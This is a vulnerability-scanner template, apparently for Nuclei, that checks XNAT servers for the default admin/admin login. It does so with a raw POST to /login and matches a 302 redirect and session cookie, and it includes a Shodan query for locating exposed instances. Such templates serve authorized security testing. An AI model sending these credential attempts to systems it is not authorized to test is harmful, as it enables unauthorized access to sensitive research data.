xnat-default-login: XNAT - Default Login

id: xnat-default-login

info:
  name: XNAT - Default Login
  author: 0x_Akoko
  severity: high
  description: XNAT contains an admin default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://wiki.xnat.org/documentation/xnat-administration/xnat-setup-first-time-configuration#:~:text=Log%20in%20with%20the%20username%20admin%20and%20password%20admin
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:xnat:xnat:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"XNAT"
    product: xnat
    vendor: xnat
  tags: default-login,xnat,vuln

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login_method=localdb&username={{username}}&password={{password}}&login=&XNAT_CSRF=

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "app/template/Index.vm?login=true"
          - "JSESSIONID"
        condition: and

      - type: status
        status:
          - 302
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